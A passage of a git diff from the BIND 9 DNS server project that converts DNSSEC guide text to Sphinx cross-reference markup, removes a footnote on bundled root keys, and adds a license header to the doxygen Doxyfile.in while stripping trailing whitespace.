 *yes*, the trust anchor must be manually defined and maintained
-using the ``trust-anchors`` statement (with either the ``static-key`` or
+using the :any:`trust-anchors` statement (with either the ``static-key`` or
 ``static-ds`` modifier) in the configuration file; if set to
 *auto* (the default, and as shown in the example), then no further
 action should be required as BIND includes a copy [#]_ of the root key.
@@ -563,12 +559,6 @@ validated and the authenticated data (``ad``) bit is set, and the response
 is sent to the client; if it does not verify, a SERVFAIL is returned to
 the client.
 
-.. [#]
-   BIND technically includes two copies of the root key: one is in
-   ``bind.keys.h`` and is built into the executable, and one is in
-   ``bind.keys`` as a ``trust-anchors`` statement. The two copies of the
-   key are identical.
-
 .. _trust_anchors_description:
 
 Trust Anchors
@@ -650,10 +640,9 @@ anchor) configured. How did it get here, and how do we maintain it?
 
 If you followed the recommendation in
 :ref:`easy_start_guide_for_recursive_servers`, by setting
-``dnssec-validation`` to *auto*, there is nothing left to do.
-BIND already includes a copy of the root key (in the file
-``bind.keys``), and automatically updates it when the root key
-changes. [#]_ It looks something like this:
+:any:`dnssec-validation` to *auto*, there is nothing left to do.
+BIND already includes a copy of the root key, and automatically updates it
+when the root key changes. [#]_ It looks something like this:
 
 ::
 
@@ -669,7 +658,7 @@ changes. [#]_ It looks something like this:
    };
 
 You can, of course, decide to manage this key manually yourself.
-First, you need to make sure that ``dnssec-validation`` is set
+First, you need to make sure that :any:`dnssec-validation` is set
 to *yes* rather than *auto*:
 
 ::
@@ -678,10 +667,8 @@ to *yes* rather than *auto*:
        dnssec-validation yes;
    };
 
-Then, download the root key manually from a trustworthy source, such as
-`<https://www.isc.org/bind-keys>`__. Finally, take the root key you
-manually downloaded and put it into a ``trust-anchors`` statement as
-shown below:
+Then, download the root key manually from a trustworthy source,
+and put it into a :any:`trust-anchors` statement as shown below:
 
 ::
 
@@ -696,16 +683,15 @@ shown below:
                    R1AkUTV74bU=";
    };
 
-While this ``trust-anchors`` statement and the one in the ``bind.keys``
-file appear similar, the definition of the key in ``bind.keys`` has the
-``initial-key`` modifier, whereas in the statement in the configuration
-file, that is replaced by ``static-key``. There is an important
-difference between the two: a key defined with ``static-key`` is always
-trusted until it is deleted from the configuration file. With the
-``initial-key`` modified, keys are only trusted once: for as long as it
-takes to load the managed key database and start the key maintenance
-process. Thereafter, BIND uses the managed keys database
-(``managed-keys.bind.jnl``) as the source of key information.
+While this :any:`trust-anchors` statement looks similar to the built-in
+version above, the built-in key has the ``initial-key`` modifier, whereas
+in the statement in the configuration file, that is replaced by
+``static-key``. There is an important difference between the two: a key
+defined with ``static-key`` is always trusted until it is deleted from the
+configuration file. With the ``initial-key`` modifier, keys are only
+trusted once: for as long as it takes to load the managed key database and
+start the key maintenance process. Thereafter, BIND uses the managed keys
+database (``managed-keys.bind.jnl``) as the source of key information.
 
 .. warning::
 
@@ -747,7 +733,7 @@ larger packets over UDP. To support EDNS, both the DNS server
 and the network need to be properly prepared to support the larger
 packet sizes and multiple fragments.
 
-This is important for DNSSEC, since the ``+do`` bit that signals
+This is important for DNSSEC, since the :option:`dig +do` bit that signals
 DNSSEC-awareness is carried within EDNS, and DNSSEC responses are larger
 than traditional DNS ones. If DNS servers and the network environment cannot
 support large UDP packets, it will cause retransmission over TCP, or the
@@ -768,8 +754,8 @@ EDNS on DNS Servers
 For many years, BIND has had EDNS enabled by default,
 and the UDP packet size is set to a maximum of 4096 bytes. The DNS
 administrator should not need to perform any reconfiguration. You can
-use ``dig`` to verify that your server supports EDNS and see the UDP packet
-size it allows with this ``dig`` command:
+use :iscman:`dig` to verify that your server supports EDNS and see the UDP packet
+size it allows with this :iscman:`dig` command:
 
 ::
 
diff --git a/doc/doxygen/Doxyfile.in b/doc/doxygen/Doxyfile.in
index 2adda13112..a916d7b795 100644
--- a/doc/doxygen/Doxyfile.in
+++ b/doc/doxygen/Doxyfile.in
@@ -1,5 +1,16 @@
 # Doxyfile 1.4.7
 
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
 # This file describes the settings to be used by the documentation system
 # doxygen (www.doxygen.org) for a project
 #
@@ -14,207 +25,207 @@
 # Project related configuration options
 #---------------------------------------------------------------------------
 
-# The PROJECT_NAME tag is a single word (or a sequence of words surrounded 
+# The PROJECT_NAME tag is a single word (or a sequence of words surrounded
 # by quotes) that should identify the project.
 
 PROJECT_NAME           = "BIND9 Internals"
 
-# The PROJECT_NUMBER tag can be used to enter a project or revision number. 
-# This could be handy for archiving the generated documentation or 
+# The PROJECT_NUMBER tag can be used to enter a project or revision number.
+# This could be handy for archiving the generated documentation or
 # if some version control system is used.
 
 PROJECT_NUMBER         = $(BIND9_VERSION)
 
-# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) 
-# base path where the generated documentation will be put. 
-# If a relative path is entered, it will be relative to the location 
+# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute)
+# base path where the generated documentation will be put.
+# If a relative path is entered, it will be relative to the location
 # where doxygen was started. If left blank the current directory will be used.
 
-OUTPUT_DIRECTORY       = 
+OUTPUT_DIRECTORY       =
 
-# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create 
-# 4096 sub-directories (in 2 levels) under the output directory of each output 
-# format and will distribute the generated files over these directories. 
-# Enabling this option can be useful when feeding doxygen a huge amount of 
-# source files, where putting all generated files in the same directory would 
+# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create
+# 4096 sub-directories (in 2 levels) under the output directory of each output
+# format and will distribute the generated files over these directories.
+# Enabling this option can be useful when feeding doxygen a huge amount of
+# source files, where putting all generated files in the same directory would
 # otherwise cause performance problems for the file system.
 
 CREATE_SUBDIRS         = NO
 
-# The OUTPUT_LANGUAGE tag is used to specify the language in which all 
-# documentation generated by doxygen is written. Doxygen will use this 
-# information to generate all constant output in the proper language. 
-# The default language is English, other supported languages are: 
-# Brazilian, Catalan, Chinese, Chinese-Traditional, Croatian, Czech, Danish, 
-# Dutch, Finnish, French, German, Greek, Hungarian, Italian, Japanese, 
-# Japanese-en (Japanese with English messages), Korean, Korean-en, Norwegian, 
-# Polish, Portuguese, Romanian, Russian, Serbian, Slovak, Slovene, Spanish, 
+# The OUTPUT_LANGUAGE tag is used to specify the language in which all
+# documentation generated by doxygen is written. Doxygen will use this
+# information to generate all constant output in the proper language.
+# The default language is English, other supported languages are:
+# Brazilian, Catalan, Chinese, Chinese-Traditional, Croatian, Czech, Danish,
+# Dutch, Finnish, French, German, Greek, Hungarian, Italian, Japanese,
+# Japanese-en (Japanese with English messages), Korean, Korean-en, Norwegian,
+# Polish, Portuguese, Romanian, Russian, Serbian, Slovak, Slovene, Spanish,
 # Swedish, and Ukrainian.
 
 OUTPUT_LANGUAGE        = English
 
-# This tag can be used to specify the encoding used in the generated output. 
-# The encoding is not always determined by the language that is chosen, 
-# but also whether or not the output is meant for Windows or non-Windows users. 
-# In case there is a difference, setting the USE_WINDOWS_ENCODING tag to YES 
-# forces the Windows encoding (this is the default for the Windows binary), 
-# whereas setting the tag to NO uses a Unix-style encoding (the default for 
+# This tag can be used to specify the encoding used in the generated output.
+# The encoding is not always determined by the language that is chosen,
+# but also whether or not the output is meant for Windows or non-Windows users.
+# In case there is a difference, setting the USE_WINDOWS_ENCODING tag to YES
+# forces the Windows encoding (this is the default for the Windows binary),
+# whereas setting the tag to NO uses a Unix-style encoding (the default for
 # all platforms other than Windows).
 
 USE_WINDOWS_ENCODING   = NO
 
-# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will 
-# include brief member descriptions after the members that are listed in 
-# the file and class documentation (similar to JavaDoc). 
+# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will
+# include brief member descriptions after the members that are listed in
+# the file and class documentation (similar to JavaDoc).
 # Set to NO to disable this.
 
 BRIEF_MEMBER_DESC      = YES
 
-# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend 
-# the brief description of a member or function before the detailed description. 
-# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the 
+# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend
+# the brief description of a member or function before the detailed description.
+# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the
 # brief descriptions will be completely suppressed.
 
 REPEAT_BRIEF           = YES
 
-# This tag implements a quasi-intelligent brief description abbreviator 
-# that is used to form the text in various listings. Each string 
-# in this list, if found as the leading text of the brief description, will be 
-# stripped from the text and the result after processing the whole list, is 
-# used as the annotated text. Otherwise, the brief description is used as-is. 
-# If left blank, the following values are used ("$name" is automatically 
-# replaced with the name of the entity): "The $name class" "The $name widget" 
-# "The $name file" "is" "provides" "specifies" "contains" 
+# This tag implements a quasi-intelligent brief description abbreviator
+# that is used to form the text in various listings. Each string
+# in this list, if found as the leading text of the brief description, will be
+# stripped from the text and the result after processing the whole list, is
+# used as the annotated text. Otherwise, the brief description is used as-is.
+# If left blank, the following values are used ("$name" is automatically
+# replaced with the name of the entity): "The $name class" "The $name widget"
+# "The $name file" "is" "provides" "specifies" "contains"
 # "represents" "a" "an" "the"
 
 ABBREVIATE_BRIEF       =
 
-# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then 
-# Doxygen will generate a detailed section even if there is only a brief 
+# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then
+# Doxygen will generate a detailed section even if there is only a brief
 # description.
 
 ALWAYS_DETAILED_SEC    = NO
 
-# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all 
-# inherited members of a class in the documentation of that class as if those 
-# members were ordinary class members. Constructors, destructors and assignment 
+# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all
+# inherited members of a class in the documentation of that class as if those
+# members were ordinary class members. Constructors, destructors and assignment
 # operators of the base classes will not be shown.
 
 INLINE_INHERITED_MEMB  = NO
 
-# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full 
-# path before files name in the file list and in the header files. If set 
+# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full
+# path before files name in the file list and in the header files. If set
 # to NO the shortest path that makes the file name unique will be used.
 
 FULL_PATH_NAMES        = YES
 
-# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag 
-# can be used to strip a user-defined part of the path. Stripping is 
-# only done if one of the specified strings matches the left-hand part of 
-# the path. The tag can be used to show relative paths in the file list. 
-# If left blank the directory from which doxygen is run is used as the 
+# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag
+# can be used to strip a user-defined part of the path. Stripping is
+# only done if one of the specified strings matches the left-hand part of
+# the path. The tag can be used to show relative paths in the file list.
+# If left blank the directory from which doxygen is run is used as the
 # path to strip.
 
 STRIP_FROM_PATH        = @BIND9_TOP_BUILDDIR@/
 
-# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of 
-# the path mentioned in the documentation of a class, which tells 
-# the reader which header file to include in order to use a class. 
-# If left blank only the name of the header file containing the class 
-# definition is used. Otherwise one should specify the include paths that 
+# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of
+# the path mentioned in the documentation of a class, which tells
+# the reader which header file to include in order to use a class.
+# If left blank only the name of the header file containing the class
+# definition is used. Otherwise one should specify the include paths that
 # are normally passed to the compiler using the -I flag.
 
-STRIP_FROM_INC_PATH    = 
+STRIP_FROM_INC_PATH    =
 
-# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter 
-# (but less readable) file names. This can be useful is your file systems 
+# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter
+# (but less readable) file names. This can be useful is your file systems
 # doesn't support long names like on DOS, Mac, or CD-ROM.
 
 SHORT_NAMES            = NO
 
-# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen 
-# will interpret the first line (until the first dot) of a JavaDoc-style 
-# comment as the brief description. If set to NO, the JavaDoc 
-# comments will behave just like the Qt-style comments (thus requiring an 
+# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen
+# will interpret the first line (until the first dot) of a JavaDoc-style
+# comment as the brief description. If set to NO, the JavaDoc
+# comments will behave just like the Qt-style comments (thus requiring an
 # explicit @brief command for a brief description.
 
 JAVADOC_AUTOBRIEF      = NO
 
-# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen 
-# treat a multi-line C++ special comment block (i.e. a block of //! or /// 
-# comments) as a brief description. This used to be the default behaviour. 
-# The new default is to treat a multi-line C++ comment block as a detailed 
+# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen
+# treat a multi-line C++ special comment block (i.e. a block of //! or ///
+# comments) as a brief description. This used to be the default behaviour.
+# The new default is to treat a multi-line C++ comment block as a detailed
 # description. Set this tag to YES if you prefer the old behaviour instead.
 
 MULTILINE_CPP_IS_BRIEF = NO
 
-# If the DETAILS_AT_TOP tag is set to YES then Doxygen 
+# If the DETAILS_AT_TOP tag is set to YES then Doxygen
 # will output the detailed description near the top, like JavaDoc.
-# If set to NO, the detailed description appears after the member 
+# If set to NO, the detailed description appears after the member
 # documentation.
 
 DETAILS_AT_TOP         = NO
 
-# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented 
-# member inherits the documentation from any documented member that it 
+# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented
+# member inherits the documentation from any documented member that it
 # re-implements.
 
 INHERIT_DOCS           = YES
 
-# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce 
-# a new page for each member. If set to NO, the documentation of a member will 
+# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce
+# a new page for each member. If set to NO, the documentation of a member will
 # be part of the file/class/namespace that contains it.
 
 SEPARATE_MEMBER_PAGES  = NO
 
-# The TAB_SIZE tag can be used to set the number of spaces in a tab. 
+# The TAB_SIZE tag can be used to set the number of spaces in a tab.
 # Doxygen uses this value to replace tabs by spaces in code fragments.
 
 TAB_SIZE               = 8
 
-# This tag can be used to specify a number of aliases that acts 
-# as commands in the documentation. An alias has the form "name=value". 
-# For example adding "sideeffect=\par Side Effects:\n" will allow you to 
-# put the command \sideeffect (or @sideeffect) in the documentation, which 
-# will result in a user-defined paragraph with heading "Side Effects:". 
+# This tag can be used to specify a number of aliases that acts
+# as commands in the documentation. An alias has the form "name=value".
+# For example adding "sideeffect=\par Side Effects:\n" will allow you to
+# put the command \sideeffect (or @sideeffect) in the documentation, which
+# will result in a user-defined paragraph with heading "Side Effects:".
 # You can put \n's in the value part of an alias to insert newlines.
 
-ALIASES                = 
+ALIASES                =
 
-# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C 
-# sources only. Doxygen will then generate output that is more tailored for C. 
-# For instance, some of the names that are used will be different. The list 
+# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C
+# sources only. Doxygen will then generate output that is more tailored for C.
+# For instance, some of the names that are used will be different. The list
 # of all members will be omitted, etc.
 
 OPTIMIZE_OUTPUT_FOR_C  = YES
 
-# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java 
-# sources only. Doxygen will then generate output that is more tailored for Java. 
-# For instance, namespaces will be presented as packages, qualified scopes 
+# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java
+# sources only. Doxygen will then generate output that is more tailored for Java.
+# For instance, namespaces will be presented as packages, qualified scopes
 # will look different, etc.
 
 OPTIMIZE_OUTPUT_JAVA   = NO
 
-# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want to 
-# include (a tag file for) the STL sources as input, then you should 
-# set this tag to YES in order to let doxygen match functions declarations and 
-# definitions whose arguments contain STL classes (e.g. func(std::string); v.s. 
-# func(std::string) {}). This also make the inheritance and collaboration 
+# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want to
+# include (a tag file for) the STL sources as input, then you should
+# set this tag to YES in order to let doxygen match functions declarations and
+# definitions whose arguments contain STL classes (e.g. func(std::string); v.s.
+# func(std::string) {}). This also make the inheritance and collaboration
 # diagrams that involve STL classes more complete and accurate.
 
 BUILTIN_STL_SUPPORT    = NO
 
-# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC 
-# tag is set to YES, then doxygen will reuse the documentation of the first 
-# member in the group (if any) for the other members of the group. By default 
+# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC
+# tag is set to YES, then doxygen will reuse the documentation of the first
+# member in the group (if any) for the other members of the group. By default
 # all members of a group must be documented explicitly.
 
 DISTRIBUTE_GROUP_DOC   = YES
 
-# Set the SUBGROUPING tag to YES (the default) to allow class member groups of 
-# the same type (for instance a group of public functions) to be put as a 
-# subgroup of that type (e.g. under the Public Functions section). Set it to 
-# NO to prevent subgrouping. Alternatively, this can be done per class using 
+# Set the SUBGROUPING tag to YES (the default) to allow class member groups of
+# the same type (for instance a group of public functions) to be put as a
+# subgroup of that type (e.g. under the Public Functions section). Set it to
+# NO to prevent subgrouping. Alternatively, this can be done per class using
 # the \nosubgrouping command.
 
 SUBGROUPING            = YES
@@ -223,240 +234,240 @@ SUBGROUPING            = YES
 # Build related configuration options
 #---------------------------------------------------------------------------
 
-# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in 
-# documentation are documented, even if no documentation was available. 
-# Private class members and static file members will be hidden unless 
+# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in
+# documentation are documented, even if no documentation was available.
+# Private class members and static file members will be hidden unless
 # the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES
 
 EXTRACT_ALL            = YES
 
-# If the EXTRACT_PRIVATE tag is set to YES all private members of a class 
+# If the EXTRACT_PRIVATE tag is set to YES all private members of a class
 # will be included in the documentation.
 
 EXTRACT_PRIVATE        = YES
 
-# If the EXTRACT_STATIC tag is set to YES all static members of a file 
+# If the EXTRACT_STATIC tag is set to YES all static members of a file
 # will be included in the documentation.
 
 EXTRACT_STATIC         = YES
 
-# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) 
-# defined locally in source files will be included in the documentation. 
+# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs)
+# defined locally in source files will be included in the documentation.
 # If set to NO only classes defined in header files are included.
 
 EXTRACT_LOCAL_CLASSES  = YES
 
-# This flag is only useful for Objective-C code. When set to YES local 
-# methods, which are defined in the implementation section but not in 
-# the interface are included in the documentation. 
+# This flag is only useful for Objective-C code. When set to YES local
+# methods, which are defined in the implementation section but not in
+# the interface are included in the documentation.
 # If set to NO (the default) only methods in the interface are included.
 
 EXTRACT_LOCAL_METHODS  = YES
 
-# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all 
-# undocumented members of documented classes, files or namespaces. 
-# If set to NO (the default) these members will be included in the 
-# various overviews, but no documentation section is generated. 
+# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all
+# undocumented members of documented classes, files or namespaces.
+# If set to NO (the default) these members will be included in the
+# various overviews, but no documentation section is generated.
 # This option has no effect if EXTRACT_ALL is enabled.
 
 HIDE_UNDOC_MEMBERS     = NO
 
-# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all 
-# undocumented classes that are normally visible in the class hierarchy. 
-# If set to NO (the default) these classes will be included in the various 
+# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all
+# undocumented classes that are normally visible in the class hierarchy.
+# If set to NO (the default) these classes will be included in the various
 # overviews. This option has no effect if EXTRACT_ALL is enabled.
 
 HIDE_UNDOC_CLASSES     = NO
 
-# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all 
-# friend (class|struct|union) declarations. 
-# If set to NO (the default) these declarations will be included in the 
+# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all
+# friend (class|struct|union) declarations.
+# If set to NO (the default) these declarations will be included in the
 # documentation.
 
 HIDE_FRIEND_COMPOUNDS  = NO
 
-# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any 
-# documentation blocks found inside the body of a function. 
-# If set to NO (the default) these blocks will be appended to the 
+# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any
+# documentation blocks found inside the body of a function.
+# If set to NO (the default) these blocks will be appended to the
 # function's detailed documentation block.
 
 HIDE_IN_BODY_DOCS      = NO
 
-# The INTERNAL_DOCS tag determines if documentation 
-# that is typed after a \internal command is included. If the tag is set 
-# to NO (the default) then the documentation will be excluded. 
+# The INTERNAL_DOCS tag determines if documentation
+# that is typed after a \internal command is included. If the tag is set
+# to NO (the default) then the documentation will be excluded.
 # Set it to YES to include the internal documentation.
 
 INTERNAL_DOCS          = NO
 
-# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate 
-# file names in lower-case letters. If set to YES upper-case letters are also 
-# allowed. This is useful if you have classes or files whose names only differ 
-# in case and if your file system supports case sensitive file names. Windows 
+# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate
+# file names in lower-case letters. If set to YES upper-case letters are also
+# allowed. This is useful if you have classes or files whose names only differ
+# in case and if your file system supports case sensitive file names. Windows
 # and Mac users are advised to set this option to NO.
 
 CASE_SENSE_NAMES       = YES
 
-# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen 
-# will show members with their full class and namespace scopes in the 
+# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen
+# will show members with their full class and namespace scopes in the
 # documentation. If set to YES the scope will be hidden.
 
 HIDE_SCOPE_NAMES       = NO
 
-# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen 
-# will put a list of the files that are included by a file in the documentation 
+# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen
+# will put a list of the files that are included by a file in the documentation
 # of that file.
 
 SHOW_INCLUDE_FILES     = YES
 
-# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] 
+# If the INLINE_INFO tag is set to YES (the default) then a tag [inline]
 # is inserted in the documentation for inline members.
 
 INLINE_INFO            = YES
 
-# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen 
-# will sort the (detailed) documentation of file and class members 
-# alphabetically by member name. If set to NO the members will appear in 
+# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen
+# will sort the (detailed) documentation of file and class members
+# alphabetically by member name. If set to NO the members will appear in
 # declaration order.
 
 SORT_MEMBER_DOCS       = NO
 
-# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the 
-# brief documentation of file, namespace and class members alphabetically 
-# by member name. If set to NO (the default) the members will appear in 
+# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the
+# brief documentation of file, namespace and class members alphabetically
+# by member name. If set to NO (the default) the members will appear in
 # declaration order.
 
 SORT_BRIEF_DOCS        = NO
 
-# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be 
-# sorted by fully-qualified names, including namespaces. If set to 
-# NO (the default), the class list will be sorted only by class name, 
-# not including the namespace part. 
+# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be
+# sorted by fully-qualified names, including namespaces. If set to
+# NO (the default), the class list will be sorted only by class name,
+# not including the namespace part.
 # Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES.
-# Note: This option applies only to the class list, not to the 
+# Note: This option applies only to the class list, not to the
 # alphabetical list.
 
 SORT_BY_SCOPE_NAME     = NO
 
-# The GENERATE_TODOLIST tag can be used to enable (YES) or 
-# disable (NO) the todo list. This list is created by putting \todo 
+# The GENERATE_TODOLIST tag can be used to enable (YES) or
+# disable (NO) the todo list. This list is created by putting \todo
 # commands in the documentation.
 
 GENERATE_TODOLIST      = YES
 
-# The GENERATE_TESTLIST tag can be used to enable (YES) or 
-# disable (NO) the test list. This list is created by putting \test 
+# The GENERATE_TESTLIST tag can be used to enable (YES) or
+# disable (NO) the test list. This list is created by putting \test
 # commands in the documentation.
 
 GENERATE_TESTLIST      = YES
 
-# The GENERATE_BUGLIST tag can be used to enable (YES) or 
-# disable (NO) the bug list. This list is created by putting \bug 
+# The GENERATE_BUGLIST tag can be used to enable (YES) or
+# disable (NO) the bug list. This list is created by putting \bug
 # commands in the documentation.
 
 GENERATE_BUGLIST       = YES
 
-# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or 
-# disable (NO) the deprecated list. This list is created by putting 
+# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or
+# disable (NO) the deprecated list. This list is created by putting
 # \deprecated commands in the documentation.
 
 GENERATE_DEPRECATEDLIST= YES
 
-# The ENABLED_SECTIONS tag can be used to enable conditional 
+# The ENABLED_SECTIONS tag can be used to enable conditional
 # documentation sections, marked by \if sectionname ... \endif.
 
-ENABLED_SECTIONS       = 
+ENABLED_SECTIONS       =
 
-# The MAX_INITIALIZER_LINES tag determines the maximum number of lines 
-# the initial value of a variable or define consists of for it to appear in 
-# the documentation. If the initializer consists of more lines than specified 
-# here it will be hidden. Use a value of 0 to hide initializers completely. 
-# The appearance of the initializer of individual variables and defines in the 
-# documentation can be controlled using \showinitializer or \hideinitializer 
+# The MAX_INITIALIZER_LINES tag determines the maximum number of lines
+# the initial value of a variable or define consists of for it to appear in
+# the documentation. If the initializer consists of more lines than specified
+# here it will be hidden. Use a value of 0 to hide initializers completely.
+# The appearance of the initializer of individual variables and defines in the
+# documentation can be controlled using \showinitializer or \hideinitializer
 # command in the documentation regardless of this setting.
 
 MAX_INITIALIZER_LINES  = 30
 
-# Set the SHOW_USED_FILES tag to NO to disable the list of files generated 
-# at the bottom of the documentation of classes and structs. If set to YES the 
+# Set the SHOW_USED_FILES tag to NO to disable the list of files generated
+# at the bottom of the documentation of classes and structs. If set to YES the
 # list will mention the files that were used to generate the documentation.
 
 SHOW_USED_FILES        = YES
 
-# If the sources in your project are distributed over multiple directories 
-# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy 
+# If the sources in your project are distributed over multiple directories
+# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy
 # in the documentation. The default is NO.
 
 SHOW_DIRECTORIES       = YES
 
-# The FILE_VERSION_FILTER tag can be used to specify a program or script that 
-# doxygen should invoke to get the current version for each file (typically from the 
-# version control system). Doxygen will invoke the program by executing (via 
-# popen()) the command <command> <input-file>, where <command> is the value of 
-# the FILE_VERSION_FILTER tag, and <input-file> is the name of an input file 
-# provided by doxygen. Whatever the program writes to standard output 
+# The FILE_VERSION_FILTER tag can be used to specify a program or script that
+# doxygen should invoke to get the current version for each file (typically from the
+# version control system). Doxygen will invoke the program by executing (via
+# popen()) the command <command> <input-file>, where <command> is the value of
+# the FILE_VERSION_FILTER tag, and <input-file> is the name of an input file
+# provided by doxygen. Whatever the program writes to standard output
 # is used as the file version. See the manual for examples.
 
-FILE_VERSION_FILTER    = 
+FILE_VERSION_FILTER    =
 
 #---------------------------------------------------------------------------
 # configuration options related to warning and progress messages
 #---------------------------------------------------------------------------
 
-# The QUIET tag can be used to turn on/off the messages that are generated 
+# The QUIET tag can be used to turn on/off the messages that are generated
 # by doxygen. Possible values are YES and NO. If left blank NO is used.
 
 QUIET                  = NO
 
-# The WARNINGS tag can be used to turn on/off the warning messages that are 
-# generated by doxygen. Possible values are YES and NO. If left blank 
+# The WARNINGS tag can be used to turn on/off the warning messages that are
+# generated by doxygen. Possible values are YES and NO. If left blank
 # NO is used.
 
 WARNINGS               = YES
 
-# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings 
-# for undocumented members. If EXTRACT_ALL is set to YES then this flag will 
+# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings
+# for undocumented members. If EXTRACT_ALL is set to YES then this flag will
 # automatically be disabled.
 
 WARN_IF_UNDOCUMENTED   = YES
 
-# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for 
-# potential errors in the documentation, such as not documenting some 
-# parameters in a documented function, or documenting parameters that 
+# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for
+# potential errors in the documentation, such as not documenting some
+# parameters in a documented function, or documenting parameters that
 # don't exist or using markup commands wrongly.
 
 WARN_IF_DOC_ERROR      = YES
 
-# This WARN_NO_PARAMDOC option can be abled to get warnings for 
-# functions that are documented, but have no documentation for their parameters 
-# or return value. If set to NO (the default) doxygen will only warn about 
-# wrong or incomplete parameter documentation, but not about the absence of 
+# This WARN_NO_PARAMDOC option can be abled to get warnings for
+# functions that are documented, but have no documentation for their parameters
+# or return value. If set to NO (the default) doxygen will only warn about
+# wrong or incomplete parameter documentation, but not about the absence of
 # documentation.
 
 WARN_NO_PARAMDOC       = YES
 
-# The WARN_FORMAT tag determines the format of the warning messages that 
-# doxygen can produce. The string should contain the $file, $line, and $text 
-# tags, which will be replaced by the file and line number from which the 
-# warning originated and the warning text. Optionally the format may contain 
-# $version, which will be replaced by the version of the file (if it could 
+# The WARN_FORMAT tag determines the format of the warning messages that
+# doxygen can produce. The string should contain the $file, $line, and $text
+# tags, which will be replaced by the file and line number from which the
+# warning originated and the warning text. Optionally the format may contain
+# $version, which will be replaced by the version of the file (if it could
 # be obtained via FILE_VERSION_FILTER)
 
 WARN_FORMAT            = "$file:$line: $text"
 
-# The WARN_LOGFILE tag can be used to specify a file to which warning 
-# and error messages should be written. If left blank the output is written 
+# The WARN_LOGFILE tag can be used to specify a file to which warning
+# and error messages should be written. If left blank the output is written
 # to stderr.
 
-WARN_LOGFILE           = 
+WARN_LOGFILE           =
 
 #---------------------------------------------------------------------------
 # configuration options related to the input files
 #---------------------------------------------------------------------------
 
-# The INPUT tag can be used to specify the files and/or directories that contain 
